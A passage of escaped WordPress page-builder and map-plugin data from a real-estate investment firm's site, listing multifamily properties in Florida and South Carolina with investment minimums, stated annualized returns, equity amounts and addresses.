border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]Horizon West, Florida[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]25.1%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<h3>Overview<\/h3>n<p>This community is a 354-unit community completed in 2021, representing top-quality suburban living in a rapidly growing suburb of the Orlando MSA.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]$32,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Braxton Waterleigh\",\"post_link\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"%_wpgmp_location_city%\":\"Winter Garden\",\"%_wpgmp_location_state%\":\"Florida\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"28.4132117\",\"%_wpgmp_metabox_longitude%\":\"-81.6333645\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10730\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10724\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633429755:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10724,\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\">BlueWater Apartment Homes at Boltonu2019s Landing<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"location\":{\"lat\":\"32.8032885\",\"city\":\"Charleston\",\"state\":\"South Carolina\",\"country\":\"United States\",\"lng\":\"-80.1013495\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-02.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-03.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-04.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-05.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-06.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-07.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-08.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-09.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-10.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-11.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-12.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-13.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-14.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Charleston, South Carolina[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]23.8%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>350-unit, Bluewater at Bolton's Landing apartment community. The asset is a 3-story garden apartment community located in the highly established West Ashley submarket of the Charleston MSA. Completed in 2019, this community was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the premier communities in Charleston.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$28,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" 